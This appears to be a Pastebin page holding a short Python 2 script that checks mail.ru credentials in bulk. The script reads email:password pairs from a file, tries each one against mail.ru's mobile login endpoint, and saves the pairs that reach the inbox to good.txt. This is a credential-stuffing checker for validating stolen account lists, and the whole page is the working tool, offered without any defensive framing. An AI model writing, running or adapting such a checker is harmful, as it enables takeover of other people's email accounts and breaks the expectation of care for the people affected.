Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf8 -*-
- import httplib
- import urllib
- def check_mail(email, password):
- c = httplib.HTTPSConnection('m.mail.ru')
- c.request('HEAD', '/cgi-bin/auth?Login=' + urllib.quote(email) + '&Password=' + urllib.quote(password))
- r = c.getresponse()
- return r.getheader('location') == 'https://e.mail.ru/messages/inbox/?back=1'
- f = open('mail.txt', 'r')
- lines = f.read().splitlines()
- f.close()
- L = []
- for line in lines:
- email, password = line.split(':', 1)
- try:
- if check_mail(email, password):
- L.append(line)
- except Exception, e:
- print e
- open('good.txt', 'w').write('\r\n'.join(L))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement